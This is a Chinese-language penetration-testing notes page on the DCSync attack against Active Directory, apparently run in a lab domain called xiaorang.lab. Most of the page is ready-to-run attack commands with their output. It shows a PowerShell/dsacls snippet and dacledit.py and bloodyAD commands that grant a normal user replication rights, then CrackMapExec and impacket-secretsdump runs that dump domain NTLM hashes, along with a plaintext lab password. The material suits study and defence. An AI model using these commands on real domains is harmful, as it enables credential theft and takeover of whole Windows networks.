DCSync
DCSync Attack
在 Active Directory 中,每个域控制器都存储着完整的目录数据库。为了保证数据的一致性和可用性,域控制器之间会进行定期的数据同步。默认情况下,域内不同 DC 每隔 15 分钟会进行一次数据同步,当一个 DC 从另外一个 DC 同步数据时,它会使用目录复制服务远程协议 (MS-DRSR) 发送 DSGetNCChanges 请求,来对另外一台域控中的域用户凭据进行复制。
DCSync 攻击就是利用域控制器之间同步的原理,通过 Directory Replication Service(DRS,目录复制服务)远程协议的 IDL_DRSGetNCChanges 接口,模拟 DC 向真实 DC 发起数据同步请求,来窃取域用户凭据。由于 MS-DRSR 协议是 Active Directory 的有效且必要的功能,因此无法将其关闭或禁用。
注:DCSync 攻击对只读域控制器 (RODC)无效,因为 RODC 不能参与复制同步数据到其他 DC。
在域内,对用户所具有的权限其实最根本是看用户的 DACL。对于 DCSync 攻击来说,只要域用户拥有以下三条 ACE 即可向域控发出数据同步请求,从而去转储域内用户凭据,这三条 ACE 分别为:
ACE | GUID | 描述 |
---|---|---|
DS-Replication-Get-Changes | 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 | 复制目录更改 |
DS-Replication-Get-Changes-All | 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 | 全部复制目录更改 |
DS-Replication-Get-Changes-In-Filtered-Set | 89e95b76-444d-4c62-991a-0facbeda640c | 在过滤集中复制目录更改(这个并不总是需要的,但我们可以添加它以防万一) |
默认情况下,只有 Domain Admins、Enterprise Admins 和 Domain Controllers 组具有所需的权限。但我们可以对域内普通用户添加 ACE 实现普通用户调用 DCSync 导出域内所有用户的 hash。
No DRSUAPI
实现 Microsoft 目录复制服务远程协议 (MS-DRSR) 的 Microsoft API 称为 DRSUAPI。
certsync 实现了在没有 DRSUAPI 的情况下远程转储 NTDS 的新技术(Golden Certificates + UnPAC the hash automation)。
1
root@kali-server:~# certsync -u <username> -p <password> -d <domain.com> -dc-ip <dc_ip> -ns <dc_ip>
Example
在 Active Directory 环境中,可以使用 dsacls 命令行工具,授予用户 DCSync 权限:
1
2
3
4
5
6
7
$Account = "xiaorang.lab\chenglei"
$RootDSE = [ADSI]"LDAP://RootDSE"
$DefaultNamingContext = $RootDse.defaultNamingContext
$ConfigurationNamingContext = $RootDse.configurationNamingContext
dsacls.exe "$DefaultNamingContext" /G "$($Account):CA;Replicating Directory Changes"
dsacls.exe "$ConfigurationNamingContext" /G "$($Account):CA;Replicating Directory Changes"
CME 使用 DCSync 转储域管凭据:
1
2
3
4
5
6
7
8
9
10
root@kali-server:~# proxychains4 -q cme smb 172.22.13.6 -u chenglei -p Xt61f3LBhg1 --ntds --user Administrator
SMB 172.22.13.6 445 WIN-DC [*] Windows 10.0 Build 20348 x64 (name:WIN-DC) (domain:xiaorang.lab) (signing:True) (SMBv1:False)
SMB 172.22.13.6 445 WIN-DC [+] xiaorang.lab\chenglei:Xt61f3LBhg1
SMB 172.22.13.6 445 WIN-DC [-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
SMB 172.22.13.6 445 WIN-DC [+] Dumping the NTDS, this could take a while so go grab a redbull...
SMB 172.22.13.6 445 WIN-DC Administrator:500:aad3b435b51404eeaad3b435b51404ee:6341235defdaed66fb7b682665752c9a:::
SMB 172.22.13.6 445 WIN-DC [+] Dumped 1 NTDS hashes to /root/.cme/logs/WIN-DC_172.22.13.6_2023-10-08_202001.ntds of which 1 were added to the database
SMB 172.22.13.6 445 WIN-DC [*] To extract only enabled accounts from the output file, run the following command:
SMB 172.22.13.6 445 WIN-DC [*] cat /root/.cme/logs/WIN-DC_172.22.13.6_2023-10-08_202001.ntds | grep -iv disabled | cut -d ':' -f1
SMB 172.22.13.6 445 WIN-DC [*] grep -iv disabled /root/.cme/logs/WIN-DC_172.22.13.6_2023-10-08_202001.ntds | cut -d ':' -f1
impacket-secretsdump 使用 DCSync 从域控转储所有域用户凭据:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
root@kali-server:~# proxychains4 -q impacket-secretsdump xiaorang.lab/chenglei:Xt61f3LBhg1@WIN-DC.xiaorang.lab -target-ip 172.22.13.6 -just-dc-ntlm -history -user-status
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6341235defdaed66fb7b682665752c9a::: (status=Enabled)
Administrator_history0:500:aad3b435b51404eeaad3b435b51404ee:6341235defdaed66fb7b682665752c9a:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: (status=Disabled)
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:cb976ec1a1bf8a14a15142c6fecc540e::: (status=Disabled)
zhangwen:1104:aad3b435b51404eeaad3b435b51404ee:fa7d776fdfc82d3f43c9d8b7f5312d77::: (status=Enabled)
chenglei:1105:aad3b435b51404eeaad3b435b51404ee:0c00801c30594a1b8eaa889d237c5382::: (status=Enabled)
zhangtao:1106:aad3b435b51404eeaad3b435b51404ee:e786c4a4987ced162c496d0519496729::: (status=Enabled)
WIN-DC$:1000:aad3b435b51404eeaad3b435b51404ee:5fa21833f17c543f85bc6bae0b6421e9::: (status=Enabled)
WIN-HAUWOLAO$:1103:aad3b435b51404eeaad3b435b51404ee:752d59538cd69d731983cd2b7dfc4b63::: (status=Enabled)
[*] Cleaning up...
Add DCSync Rights - ACL Abuse
当域用户有权限修改整个域对象的 ACL 时,可以给任意用户添加 DCSync 所需要的权限。
在第三方 impacket 包中的 dacledit.py 脚本,可以滥用 ACL 权限,远程给用户添加 DCSync 权限:
1
2
3
4
5
root@kali-server:~# proxychains4 -q python3 dacledit.py xiaorang.lab/chenglei:'Xt61f3LBhg1' -action write -rights DCSync -principal chenglei -target-dn 'DC=xiaorang,DC=lab' -dc-ip 172.22.13.6
Impacket for Exegol - v0.10.1.dev1+20230303.141054.8975ed2d - Copyright 2022 Fortra - forked by ThePorgs
[*] DACL backed up to dacledit-20230718-200428.bak
[*] DACL modified successfully!
bloodyAD 添加 DCSync 权限:
1
2
root@kali-server:~# proxychains4 -q bloodyAD -d xiaorang.lab -u chenglei -p Xt61f3LBhg1 --host 172.22.13.6 add dcsync chenglei
[+] chenglei is now able to DCSync
References
- 域渗透中的 DCSync 技术分析
https://zhuanlan.zhihu.com/p/581922712 - Active Directory Replication
https://threathunterplaybook.com/library/windows/active_directory_replication.html - Adding DCSync Permissions from Linux
https://www.n00py.io/2022/01/adding-dcsync-permissions-from-linux/ - ACL Abuse - Pentester’s Promiscuous Notebook
https://ppn.snovvcrash.rocks/pentest/infrastructure/ad/acl-abuse#add-dcsync-rights - DCSync - The Hacker Recipes
https://www.thehacker.recipes/ad/movement/credentials/dumping/dcsync - Granting the Replicating Directory Changes Permission
http://blog.goverco.com/2011/08/granting-replicating-directory.html